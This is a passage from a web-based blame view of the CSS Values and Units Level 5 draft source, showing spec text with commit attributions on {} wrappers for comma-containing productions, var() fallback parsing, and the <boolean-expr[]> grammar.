href="/drafts/annotate/d9905b005d31/css-values-5/Overview.bs#l153" title="d9905b005d31: [css-values-5] Per WG resolution, switch comma-containing productions to allowing {} wrappers, rather than semicolon upgrades. #9539">jackalmage@31694</a> </td> <td class="lineno"> <a href="#l175" id="l175"> 175</a> </td> <td class="source"> However, this {}-wrapping is <em>only</em> allowed for some function arguments-- </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/d9905b005d31/css-values-5/Overview.bs#l154" title="d9905b005d31: [css-values-5] Per WG resolution, switch comma-containing productions to allowing {} wrappers, rather than semicolon upgrades. #9539">jackalmage@31694</a> </td> <td class="lineno"> <a href="#l176" id="l176"> 176</a> </td> <td class="source"> those defined as [=comma-containing productions=]. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/d9905b005d31/css-values-5/Overview.bs#l155" title="d9905b005d31: [css-values-5] Per WG resolution, switch comma-containing productions to allowing {} wrappers, rather than semicolon upgrades. #9539">jackalmage@31694</a> </td> <td class="lineno"> <a href="#l177" id="l177"> 177</a> </td> <td class="source"> It's not valid for any other productions; </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/d9905b005d31/css-values-5/Overview.bs#l156" title="d9905b005d31: [css-values-5] Per WG resolution, switch comma-containing productions to allowing {} wrappers, rather than semicolon upgrades. #9539">jackalmage@31694</a> </td> <td class="lineno"> <a href="#l178" id="l178"> 178</a> </td> <td class="source"> if you use {} around other function arguments, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/d9905b005d31/css-values-5/Overview.bs#l157" title="d9905b005d31: [css-values-5] Per WG resolution, switch comma-containing productions to allowing {} wrappers, rather than semicolon upgrades. #9539">jackalmage@31694</a> </td> <td class="lineno"> <a href="#l179" id="l179"> 179</a> </td> <td class="source"> it'll just fail to match the function's grammar </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/d9905b005d31/css-values-5/Overview.bs#l158" title="d9905b005d31: [css-values-5] Per WG resolution, switch comma-containing productions to allowing {} wrappers, rather than semicolon upgrades. #9539">jackalmage@31694</a> </td> <td class="lineno"> <a href="#l180" id="l180"> 180</a> </td> <td class="source"> and become invalid. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/d9905b005d31/css-values-5/Overview.bs#l159" title="d9905b005d31: [css-values-5] Per WG resolution, switch comma-containing productions to allowing {} wrappers, rather than semicolon upgrades. #9539">jackalmage@31694</a> </td> <td class="lineno"> <a href="#l181" id="l181"> 181</a> </td> <td class="source"> For example, the following is <strong>invalid</strong>: </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/d9905b005d31/css-values-5/Overview.bs#l160" title="d9905b005d31: [css-values-5] Per WG resolution, switch comma-containing productions to allowing {} wrappers, rather than semicolon upgrades. #9539">jackalmage@31694</a> </td> <td class="lineno"> <a href="#l182" id="l182"> 182</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/d9905b005d31/css-values-5/Overview.bs#l161" title="d9905b005d31: [css-values-5] Per WG resolution, switch comma-containing productions to allowing {} wrappers, rather than semicolon upgrades. #9539">jackalmage@31694</a> </td> <td class="lineno"> <a href="#l183" id="l183"> 183</a> </td> <td class="source"> <pre> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/d9905b005d31/css-values-5/Overview.bs#l162" title="d9905b005d31: [css-values-5] Per WG resolution, switch comma-containing productions to allowing {} wrappers, rather than semicolon upgrades. #9539">jackalmage@31694</a> </td> <td class="lineno"> <a href="#l184" id="l184"> 184</a> </td> <td class="source"> background-image: linear-gradient(to left, {red}, magenta); </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/d9905b005d31/css-values-5/Overview.bs#l163" title="d9905b005d31: [css-values-5] Per WG resolution, switch comma-containing productions to allowing {} wrappers, rather than semicolon upgrades. #9539">jackalmage@31694</a> </td> <td class="lineno"> <a href="#l185" id="l185"> 185</a> </td> <td class="source"> </pre> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b4182484de7a/css-values-5/Overview.bs#l138" title="b4182484de7a: [css-values-5] Added ability to upgrade commas to semicolons. #9539">jackalmage@31029</a> </td> <td class="lineno"> <a href="#l186" id="l186"> 186</a> </td> <td class="source"> </div> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b4182484de7a/css-values-5/Overview.bs#l139" title="b4182484de7a: [css-values-5] Added ability to upgrade commas to semicolons. #9539">jackalmage@31029</a> </td> <td class="lineno"> <a href="#l187" id="l187"> 187</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/d9905b005d31/css-values-5/Overview.bs#l166" title="d9905b005d31: [css-values-5] Per WG resolution, switch comma-containing productions to allowing {} wrappers, rather than semicolon upgrades. #9539">jackalmage@31694</a> </td> <td class="lineno"> <a href="#l188" id="l188"> 188</a> </td> <td class="source"> Note: Because {} wrappers are allowed even when not explicitly required, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/d9905b005d31/css-values-5/Overview.bs#l167" title="d9905b005d31: [css-values-5] Per WG resolution, switch comma-containing productions to allowing {} wrappers, rather than semicolon upgrades. #9539">jackalmage@31694</a> </td> <td class="lineno"> <a href="#l189" id="l189"> 189</a> </td> <td class="source"> they can be used defensively around values </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/d9905b005d31/css-values-5/Overview.bs#l168" title="d9905b005d31: [css-values-5] Per WG resolution, switch comma-containing productions to allowing {} wrappers, rather than semicolon upgrades. #9539">jackalmage@31694</a> </td> <td class="lineno"> <a href="#l190" id="l190"> 190</a> </td> <td class="source"> when the author isn't sure if they'll end up containing commas or not, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l175" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l191" id="l191"> 191</a> </td> <td class="source"> due to [=arbitrary substitution functions=] like ''var()''. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/e0e113517e07/css-values-5/Overview.bs#l176" title="e0e113517e07: [css-values-5] Replace attr()'s syntax argument with <syntax>, and fix up its parsing/substitution rules as a result. #10437">jackalmage@31720</a> </td> <td class="lineno"> <a href="#l192" id="l192"> 192</a> </td> <td class="source"> For example, <l property>''font-family: random-item(--x, {var(--list1)}, monospace)''</l> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/d9905b005d31/css-values-5/Overview.bs#l171" title="d9905b005d31: [css-values-5] Per WG resolution, switch comma-containing productions to allowing {} wrappers, rather than semicolon upgrades. #9539">jackalmage@31694</a> </td> <td class="lineno"> <a href="#l193" id="l193"> 193</a> </td> <td class="source"> will work correctly </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l178" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l194" id="l194"> 194</a> </td> <td class="source"> regardless of whether the ''--list1'' custom property </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/d9905b005d31/css-values-5/Overview.bs#l173" title="d9905b005d31: [css-values-5] Per WG resolution, switch comma-containing productions to allowing {} wrappers, rather than semicolon upgrades. #9539">jackalmage@31694</a> </td> <td class="lineno"> <a href="#l195" id="l195"> 195</a> </td> <td class="source"> contains a comma-separated list or not. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/d9905b005d31/css-values-5/Overview.bs#l174" title="d9905b005d31: [css-values-5] Per WG resolution, switch comma-containing productions to allowing {} wrappers, rather than semicolon upgrades. #9539">jackalmage@31694</a> </td> <td class="lineno"> <a href="#l196" id="l196"> 196</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/d9905b005d31/css-values-5/Overview.bs#l175" title="d9905b005d31: [css-values-5] Per WG resolution, switch comma-containing productions to allowing {} wrappers, rather than semicolon upgrades. #9539">jackalmage@31694</a> </td> <td class="lineno"> <a href="#l197" id="l197"> 197</a> </td> <td class="source"> [=Functional notations=] are serialized without {} wrappers whenever possible. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b4182484de7a/css-values-5/Overview.bs#l141" title="b4182484de7a: [css-values-5] Added ability to upgrade commas to semicolons. #9539">jackalmage@31029</a> </td> <td class="lineno"> <a href="#l198" id="l198"> 198</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b4182484de7a/css-values-5/Overview.bs#l142" title="b4182484de7a: [css-values-5] Added ability to upgrade commas to semicolons. #9539">jackalmage@31029</a> </td> <td class="lineno"> <a href="#l199" id="l199"> 199</a> </td> <td class="source"> The following generic productions are [=comma-containing productions=]: </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b4182484de7a/css-values-5/Overview.bs#l143" title="b4182484de7a: [css-values-5] Added ability to upgrade commas to semicolons. #9539">jackalmage@31029</a> </td> <td class="lineno"> <a href="#l200" id="l200"> 200</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b4182484de7a/css-values-5/Overview.bs#l144" title="b4182484de7a: [css-values-5] Added ability to upgrade commas to semicolons. #9539">jackalmage@31029</a> </td> <td class="lineno"> <a href="#l201" id="l201"> 201</a> </td> <td class="source"> * <<any-value>> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b4182484de7a/css-values-5/Overview.bs#l145" title="b4182484de7a: [css-values-5] Added ability to upgrade commas to semicolons. #9539">jackalmage@31029</a> </td> <td class="lineno"> <a href="#l202" id="l202"> 202</a> </td> <td class="source"> * <<whole-value>> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b4182484de7a/css-values-5/Overview.bs#l146" title="b4182484de7a: [css-values-5] Added ability to upgrade commas to semicolons. #9539">jackalmage@31029</a> </td> <td class="lineno"> <a href="#l203" id="l203"> 203</a> </td> <td class="source"> * <<declaration-value>> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b4182484de7a/css-values-5/Overview.bs#l147" title="b4182484de7a: [css-values-5] Added ability to upgrade commas to semicolons. #9539">jackalmage@31029</a> </td> <td class="lineno"> <a href="#l204" id="l204"> 204</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/d9905b005d31/css-values-5/Overview.bs#l183" title="d9905b005d31: [css-values-5] Per WG resolution, switch comma-containing productions to allowing {} wrappers, rather than semicolon upgrades. #9539">jackalmage@31694</a> </td> <td class="lineno"> <a href="#l205" id="l205"> 205</a> </td> <td class="source"> For legacy compat reasons, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/d9905b005d31/css-values-5/Overview.bs#l184" title="d9905b005d31: [css-values-5] Per WG resolution, switch comma-containing productions to allowing {} wrappers, rather than semicolon upgrades. #9539">jackalmage@31694</a> </td> <td class="lineno"> <a href="#l206" id="l206"> 206</a> </td> <td class="source"> the <<declaration-value>> defined the fallback value for ''var()'' </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/d9905b005d31/css-values-5/Overview.bs#l185" title="d9905b005d31: [css-values-5] Per WG resolution, switch comma-containing productions to allowing {} wrappers, rather than semicolon upgrades. #9539">jackalmage@31694</a> </td> <td class="lineno"> <a href="#l207" id="l207"> 207</a> </td> <td class="source"> is a <dfn export>non-strict comma-containing production</dfn>. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/d9905b005d31/css-values-5/Overview.bs#l186" title="d9905b005d31: [css-values-5] Per WG resolution, switch comma-containing productions to allowing {} wrappers, rather than semicolon upgrades. #9539">jackalmage@31694</a> </td> <td class="lineno"> <a href="#l208" id="l208"> 208</a> </td> <td class="source"> It ignores the rules restricting what it can contain </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/d9905b005d31/css-values-5/Overview.bs#l187" title="d9905b005d31: [css-values-5] Per WG resolution, switch comma-containing productions to allowing {} wrappers, rather than semicolon upgrades. #9539">jackalmage@31694</a> </td> <td class="lineno"> <a href="#l209" id="l209"> 209</a> </td> <td class="source"> when it does not start with a "{" token: </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/d9905b005d31/css-values-5/Overview.bs#l188" title="d9905b005d31: [css-values-5] Per WG resolution, switch comma-containing productions to allowing {} wrappers, rather than semicolon upgrades. #9539">jackalmage@31694</a> </td> <td class="lineno"> <a href="#l210" id="l210"> 210</a> </td> <td class="source"> it is allowed to contain commas and {} blocks. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/d9905b005d31/css-values-5/Overview.bs#l189" title="d9905b005d31: [css-values-5] Per WG resolution, switch comma-containing productions to allowing {} wrappers, rather than semicolon upgrades. #9539">jackalmage@31694</a> </td> <td class="lineno"> <a href="#l211" id="l211"> 211</a> </td> <td class="source"> It still follows the standard [=comma-containing production=] rules </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/d9905b005d31/css-values-5/Overview.bs#l190" title="d9905b005d31: [css-values-5] Per WG resolution, switch comma-containing productions to allowing {} wrappers, rather than semicolon upgrades. #9539">jackalmage@31694</a> </td> <td class="lineno"> <a href="#l212" id="l212"> 212</a> </td> <td class="source"> when it <em>does</em> start with a "{" token, however: </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/d9905b005d31/css-values-5/Overview.bs#l191" title="d9905b005d31: [css-values-5] Per WG resolution, switch comma-containing productions to allowing {} wrappers, rather than semicolon upgrades. #9539">jackalmage@31694</a> </td> <td class="lineno"> <a href="#l213" id="l213"> 213</a> </td> <td class="source"> the fallback is just the contents of the {} block, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/d9905b005d31/css-values-5/Overview.bs#l192" title="d9905b005d31: [css-values-5] Per WG resolution, switch comma-containing productions to allowing {} wrappers, rather than semicolon upgrades. #9539">jackalmage@31694</a> </td> <td class="lineno"> <a href="#l214" id="l214"> 214</a> </td> <td class="source"> and doesn't include the {} wrapper itself. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/d9905b005d31/css-values-5/Overview.bs#l193" title="d9905b005d31: [css-values-5] Per WG resolution, switch comma-containing productions to allowing {} wrappers, rather than semicolon upgrades. #9539">jackalmage@31694</a> </td> <td class="lineno"> <a href="#l215" id="l215"> 215</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/d9905b005d31/css-values-5/Overview.bs#l194" title="d9905b005d31: [css-values-5] Per WG resolution, switch comma-containing productions to allowing {} wrappers, rather than semicolon upgrades. #9539">jackalmage@31694</a> </td> <td class="lineno"> <a href="#l216" id="l216"> 216</a> </td> <td class="source"> Other contexts <em>may</em> define that they use [=non-strict comma-containing productions=], </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/d9905b005d31/css-values-5/Overview.bs#l195" title="d9905b005d31: [css-values-5] Per WG resolution, switch comma-containing productions to allowing {} wrappers, rather than semicolon upgrades. #9539">jackalmage@31694</a> </td> <td class="lineno"> <a href="#l217" id="l217"> 217</a> </td> <td class="source"> but it <em>should</em> be avoided unless necessary. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/d9905b005d31/css-values-5/Overview.bs#l196" title="d9905b005d31: [css-values-5] Per WG resolution, switch comma-containing productions to allowing {} wrappers, rather than semicolon upgrades. #9539">jackalmage@31694</a> </td> <td class="lineno"> <a href="#l218" id="l218"> 218</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b46fb0b91515/css-values-5/Overview.bs#l215" title="b46fb0b91515: [css-values-5] Define <boolean [test]> multiplier #10457">fantasai@31737</a> </td> <td class="lineno"> <a href="#l219" id="l219"> 219</a> </td> <td class="source"><h3 id=boolean> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/cc430a5a2530/css-values-5/Overview.bs#l216" title="cc430a5a2530: [css-values-5] Replace <boolean[]> with <boolean-expr[]> #10457">fantasai@31785</a> </td> <td class="lineno"> <a href="#l220" id="l220"> 220</a> </td> <td class="source">Boolean Expression Multiplier <<boolean-expr[]>></h3> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b46fb0b91515/css-values-5/Overview.bs#l217" title="b46fb0b91515: [css-values-5] Define <boolean [test]> multiplier #10457">fantasai@31737</a> </td> <td class="lineno"> <a href="#l221" id="l221"> 221</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b46fb0b91515/css-values-5/Overview.bs#l218" title="b46fb0b91515: [css-values-5] Define <boolean [test]> multiplier #10457">fantasai@31737</a> </td> <td class="lineno"> <a href="#l222" id="l222"> 222</a> </td> <td class="source"> Several contexts </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b46fb0b91515/css-values-5/Overview.bs#l219" title="b46fb0b91515: [css-values-5] Define <boolean [test]> multiplier #10457">fantasai@31737</a> </td> <td class="lineno"> <a href="#l223" id="l223"> 223</a> </td> <td class="source"> (such as ''@media'', ''@supports'', ''if()'', ...) </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b46fb0b91515/css-values-5/Overview.bs#l220" title="b46fb0b91515: [css-values-5] Define <boolean [test]> multiplier #10457">fantasai@31737</a> </td> <td class="lineno"> <a href="#l224" id="l224"> 224</a> </td> <td class="source"> specify conditions, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b46fb0b91515/css-values-5/Overview.bs#l221" title="b46fb0b91515: [css-values-5] Define <boolean [test]> multiplier #10457">fantasai@31737</a> </td> <td class="lineno"> <a href="#l225" id="l225"> 225</a> </td> <td class="source"> and allow combining those conditions with boolean logic (and/or/not/grouping). </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b46fb0b91515/css-values-5/Overview.bs#l222" title="b46fb0b91515: [css-values-5] Define <boolean [test]> multiplier #10457">fantasai@31737</a> </td> <td class="lineno"> <a href="#l226" id="l226"> 226</a> </td> <td class="source"> Because they use the same non-trivial recursive syntax structure, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/acf9f554dac7/css-values-5/Overview.bs#l227" title="acf9f554dac7: [css-values-5] Fix markup">fantasai@31790</a> </td> <td class="lineno"> <a href="#l227" id="l227"> 227</a> </td> <td class="source"> the special <dfn type><<boolean-expr[]>></dfn> production represents this pattern generically. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/cc430a5a2530/css-values-5/Overview.bs#l224" title="cc430a5a2530: [css-values-5] Replace <boolean[]> with <boolean-expr[]> #10457">fantasai@31785</a> </td> <td class="lineno"> <a href="#l228" id="l228"> 228</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/cc430a5a2530/css-values-5/Overview.bs#l225" title="cc430a5a2530: [css-values-5] Replace <boolean[]> with <boolean-expr[]> #10457">fantasai@31785</a> </td> <td class="lineno"> <a href="#l229" id="l229"> 229</a> </td> <td class="source"> The <<boolean-expr[]>> notation wraps another value type in the square brackets within it, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/890414b2d712/css-values-5/Overview.bs#l226" title="890414b2d712: [css-values-5] Be consistent about brackets #10457">fantasai@31738</a> </td> <td class="lineno"> <a href="#l230" id="l230"> 230</a> </td> <td class="source"> e.g. &lt;boolean[ &lt;test&gt; ]&gt;, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/680dc0440b85/css-values-5/Overview.bs#l227" title="680dc0440b85: [css-values-5] Address cdoublev's review #10457">fantasai@31759</a> </td> <td class="lineno"> <a href="#l231" id="l231"> 231</a> </td> <td class="source"> and represents that value type alone as well as </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/680dc0440b85/css-values-5/Overview.bs#l228" title="680dc0440b85: [css-values-5] Address cdoublev's review #10457">fantasai@31759</a> </td> <td class="lineno"> <a href="#l232" id="l232"> 232</a> </td> <td class="source"> boolean combinations </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b46fb0b91515/css-values-5/Overview.bs#l229" title="b46fb0b91515: [css-values-5] Define <boolean [test]> multiplier #10457">fantasai@31737</a> </td> <td class="lineno"> <a href="#l233" id="l233"> 233</a> </td> <td class="source"> using the ''not'', ''and'', and ''or'' keywords </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b46fb0b91515/css-values-5/Overview.bs#l230" title="b46fb0b91515: [css-values-5] Define <boolean [test]> multiplier #10457">fantasai@31737</a> </td> <td class="lineno"> <a href="#l234" id="l234"> 234</a> </td> <td class="source"> and grouping parenthesis. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b46fb0b91515/css-values-5/Overview.bs#l231" title="b46fb0b91515: [css-values-5] Define <boolean [test]> multiplier #10457">fantasai@31737</a> </td> <td class="lineno"> <a href="#l235" id="l235"> 235</a> </td> <td class="source"> It is formally equivalent to: </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b46fb0b91515/css-values-5/Overview.bs#l232" title="b46fb0b91515: [css-values-5] Define <boolean [test]> multiplier #10457">fantasai@31737</a> </td> <td class="lineno"> <a href="#l236" id="l236"> 236</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b46fb0b91515/css-values-5/Overview.bs#l233" title="b46fb0b91515: [css-values-5] Define <boolean [test]> multiplier #10457">fantasai@31737</a> </td> <td class="lineno"> <a href="#l237" id="l237"> 237</a> </td> <td class="source"> <xmp class=prod> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/cc430a5a2530/css-values-5/Overview.bs#l234" title="cc430a5a2530: [css-values-5] Replace <boolean[]> with <boolean-expr[]> #10457">fantasai@31785</a> </td> <td class="lineno"> <a href="#l238" id="l238"> 238</a> </td> <td class="source"> <boolean-expr[ <test> ]> = not <boolean-expr-group> | <boolean-expr-group> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/cc430a5a2530/css-values-5/Overview.bs#l235" title="cc430a5a2530: [css-values-5] Replace <boolean[]> with <boolean-expr[]> #10457">fantasai@31785</a> </td> <td class="lineno"> <a href="#l239" id="l239"> 239</a> </td> <td class="source"> [ [ and <boolean-expr-group> ]* </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/cc430a5a2530/css-values-5/Overview.bs#l236" title="cc430a5a2530: [css-values-5] Replace <boolean[]> with <boolean-expr[]> #10457">fantasai@31785</a> </td> <td class="lineno"> <a href="#l240" id="l240"> 240</a> </td> <td class="source"> | [ or <boolean-expr-group> ]* ] </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/cc430a5a2530/css-values-5/Overview.bs#l237" title="cc430a5a2530: [css-values-5] Replace <boolean[]> with <boolean-expr[]> #10457">fantasai@31785</a> </td> <td class="lineno"> <a href="#l241" id="l241"> 241</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/cc430a5a2530/css-values-5/Overview.bs#l238" title="cc430a5a2530: [css-values-5] Replace <boolean[]> with <boolean-expr[]> #10457">fantasai@31785</a> </td> <td class="lineno"> <a href="#l242" id="l242"> 242</a> </td> <td class="source"> <boolean-expr-group> = <test> | ( <boolean-expr[ <test> ]> ) | <general-enclosed> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b46fb0b91515/css-values-5/Overview.bs#l239" title="b46fb0b91515: [css-values-5] Define <boolean [test]> multiplier #10457">fantasai@31737</a> </td> <td class="lineno"> <a href="#l243" id="l243"> 243</a> </td> <td class="source"> </xmp> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b46fb0b91515/css-values-5/Overview.bs#l240" title="b46fb0b91515: [css-values-5] Define <boolean [test]> multiplier #10457">fantasai@31737</a> </td> <td class="lineno"> <a href="#l244" id="l244"> 244</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/cc430a5a2530/css-values-5/Overview.bs#l241" title="cc430a5a2530: [css-values-5] Replace <boolean[]> with <boolean-expr[]> #10457">fantasai@31785</a> </td> <td class="lineno"> <a href="#l245" id="l245"> 245</a> </td> <td class="source"> The <<boolean-expr[]>> production represents a true, false, or unknown value. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/680dc0440b85/css-values-5/Overview.bs#l242" title="680dc0440b85: [css-values-5] Address cdoublev's review #10457">fantasai@31759</a> </td> <td class="lineno"> <a href="#l246" id="l246"> 246</a> </td> <td class="source"> Its value is resolved using 3-value Kleene logic, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b46fb0b91515/css-values-5/Overview.bs#l242" title="b46fb0b91515: [css-values-5] Define <boolean [test]> multiplier #10457">fantasai@31737</a> </td> <td class="lineno"> <a href="#l247" id="l247"> 247</a> </td> <td class="source"> with top-level unknown values </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/cc430a5a2530/css-values-5/Overview.bs#l244" title="cc430a5a2530: [css-values-5] Replace <boolean[]> with <boolean-expr[]> #10457">fantasai@31785</a> </td> <td class="lineno"> <a href="#l248" id="l248"> 248</a> </td> <td class="source"> (those not directly nested inside the grammar of another <<boolean-expr[]>>) </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/680dc0440b85/css-values-5/Overview.bs#l245" title="680dc0440b85: [css-values-5] Address cdoublev's review #10457">fantasai@31759</a> </td> <td class="lineno"> <a href="#l249" id="l249"> 249</a> </td> <td class="source"> resolving to false unless otherwise specified; </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b46fb0b91515/css-values-5/Overview.bs#l246" title="b46fb0b91515: [css-values-5] Define <boolean [test]> multiplier #10457">fantasai@31737</a> </td> <td class="lineno"> <a href="#l250" id="l250"> 250</a> </td> <td class="source"> see [[#boolean-logic]] for details. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b46fb0b91515/css-values-5/Overview.bs#l247" title="b46fb0b91515: [css-values-5] Define <boolean [test]> multiplier #10457">fantasai@31737</a> </td> <td class="lineno"> <a href="#l251" id="l251"> 251</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b46fb0b91515/css-values-5/Overview.bs#l248" title="b46fb0b91515: [css-values-5] Define <boolean [test]> multiplier #10457">fantasai@31737</a> </td> <td class="lineno"> <a href="#l252" id="l252"> 252</a> </td> <td class="source"> <div class=example> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b46fb0b91515/css-values-5/Overview.bs#l249" title="b46fb0b91515: [css-values-5] Define <boolean [test]> multiplier #10457">fantasai@31737</a> </td> <td class="lineno"> <a href="#l253" id="l253"> 253</a> </td> <td class="source"> For example, the ''@container'' rule allows a wide variety of tests: </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b46fb0b91515/css-values-5/Overview.bs#l250" title="b46fb0b91515: [css-values-5] Define <boolean [test]> multiplier #10457">fantasai@31737</a> </td> <td class="lineno"> <a href="#l254" id="l254"> 254</a> </td> <td class="source"> including size queries, style queries, and scroll-state queries. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b46fb0b91515/css-values-5/Overview.bs#l251" title="b46fb0b91515: [css-values-5] Define <boolean [test]> multiplier #10457">fantasai@31737</a> </td> <td class="lineno"> <a href="#l255" id="l255"> 255</a> </td> <td class="source"> All of these are arbitrarily combinable with boolean logic. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/cc430a5a2530/css-values-5/Overview.bs#l252" title="cc430a5a2530: [css-values-5] Replace <boolean[]> with <boolean-expr[]> #10457">fantasai@31785</a> </td> <td class="lineno"> <a href="#l256" id="l256"> 256</a> </td> <td class="source"> Using <<boolean-expr[]>>, the grammar for an ''@container'' query </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/680dc0440b85/css-values-5/Overview.bs#l253" title="680dc0440b85: [css-values-5] Address cdoublev's review #10457">fantasai@31759</a> </td> <td class="lineno"> <a href="#l257" id="l257"> 257</a> </td> <td class="source"> could be written as: </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b46fb0b91515/css-values-5/Overview.bs#l253" title="b46fb0b91515: [css-values-5] Define <boolean [test]> multiplier #10457">fantasai@31737</a> </td> <td class="lineno"> <a href="#l258" id="l258"> 258</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b46fb0b91515/css-values-5/Overview.bs#l254" title="b46fb0b91515: [css-values-5] Define <boolean [test]> multiplier #10457">fantasai@31737</a> </td> <td class="lineno"> <a href="#l259" id="l259"> 259</a> </td> <td class="source"> <xmp class=prod> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/cc430a5a2530/css-values-5/Overview.bs#l256" title="cc430a5a2530: [css-values-5] Replace 